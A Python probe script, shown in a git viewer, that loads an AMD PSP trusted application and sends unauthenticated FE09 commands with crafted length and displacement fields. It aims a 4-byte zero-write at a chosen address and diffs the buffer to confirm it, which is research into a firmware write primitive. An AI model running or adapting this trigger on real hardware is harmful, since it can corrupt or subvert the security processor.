aboutsummaryrefslogtreecommitdiffstats
path: root/hw/gcp_fe09_buffer_diff.py
blob: 38d013fc4f27449c3941dc9ae94f34cda6a1da09 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
"""What does an unauthenticated FE09 invoke actually write into the shared buffer?

The output-readback probe found params+0x1950..0x19C0 entirely untouched (0xA5 fill intact). That
is only meaningful with a POSITIVE CONTROL: the known-good zero-store must be visible in the same
read-back, otherwise "untouched" might just mean we are reading the wrong buffer/alias/offset.

So: fill the whole buffer with 0xA5, invoke FE09 with the 4-byte zero window aimed at a known
in-buffer address, then diff the ENTIRE buffer and report every changed range.

  * The window target MUST appear as 4 zero bytes  -> readback path verified (positive control).
  * Any other changed ranges are what the handler legitimately writes, measured rather than
    assumed -- this also tells us whether sub_403678's crypto export produced anything at all.
"""
import struct, sys, glob
sys.path.insert(0, '/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl
psp = adev.psp

PARAMS_VA = 0x04013000
BASE = PARAMS_VA + 0x418
TA = 'ta_22-0-4-50_81b082b4'
BUFLEN = 0x8000
PAT = 0xA5
WINDOW_OFF = 0x200                     # buffer offset the zero-store should hit

def c2p(n): return getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n).read() & 0xFFFFFFFF
def frame(): return tuple(c2p(n) for n in range(82, 89))

def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
    return pa, adev.paddr2mc(pa)

app_pa, app_mc = alloc(0x80000)
cand = glob.glob('/root/psp/contall/%s*' % TA)
if not cand:
    raise SystemExit('missing TA')
blob = open(cand[0], 'rb').read()
cp, cmc = alloc(BUFLEN)

def load():
    n = (len(blob) + 3) & ~3
    adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
    t.app_len = len(blob)
    t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32
    t.cmd_buf_len = BUFLEN
    try:
        r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id
    except Exception:
        return -1, None

def fe09(sid, disp, outlen=0xFFFFFFFB):
    buf = bytearray(bytes([PAT]) * BUFLEN)
    struct.pack_into('<I', buf, 0x000, 0xFE09)
    struct.pack_into('<I', buf, 0x010, 0)
    struct.pack_into('<I', buf, 0x414, 0xFFFFFFFB)
    struct.pack_into('<I', buf, 0x818, outlen & 0xFFFFFFFF)
    struct.pack_into('<I', buf, 0x820, 1)
    struct.pack_into('<I', buf, 0x828, disp & 0xFFFFFFFF)
    sent = bytes(buf)
    adev.vram.view(cp, BUFLEN)[:] = sent; adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, 0xFE09
    try:
        st = psp._ring_submit(c).resp.status & 0xFFFFFFFF
    except Exception:
        st = -1
    adev.gmc.flush_hdp()
    return st, sent, bytes(adev.vram.view(cp, BUFLEN)[:])

def ranges(sent, got):
    out = []
    i = 0
    while i < len(got):
        if got[i] != sent[i]:
            j = i
            while j < len(got) and got[j] != sent[j]:
                j += 1
            out.append((i, j))
            i = j
        else:
            i += 1
    return out

f0 = frame()
st, sid = load()
print('load=%#x sid=%s BUFLEN=%#x' % (st, sid, BUFLEN), flush=True)
if sid is None:
    raise SystemExit('load failed')

for outlen in (0xFFFFFFFB, 0x400, 0x20):
    D = (PARAMS_VA + WINDOW_OFF - BASE) & 0xFFFFFFFF
    st2, sent, got = fe09(sid, D, outlen)
    if st2 == -1 or frame() != f0:
        print('FAULT with outlen=%#x -- stop' % outlen, flush=True); break
    rs = ranges(sent, got)
    print('\n--- *(params+0x818)=%#x  status=%#x  changed ranges: %d' % (outlen, st2, len(rs)), flush=True)
    ctl = False
    for lo, hi in rs[:24]:
        tag = ''
        if lo <= WINDOW_OFF < hi:
            tag = '  <== POSITIVE CONTROL (the zero-store window)'
            ctl = True
        print('    +%#07x..%#07x (%d B)  %s%s'
              % (lo, hi, hi - lo, got[lo:min(hi, lo + 16)].hex(' '), tag), flush=True)
    print('    positive control present: %s' % ctl, flush=True)
    if not ctl:
        print('    !! control MISSING -> readback/offset is wrong; treat other results as void',
              flush=True)
print('\nring: %s' % ('WEDGED' if frame() != f0 else 'alive'), flush=True)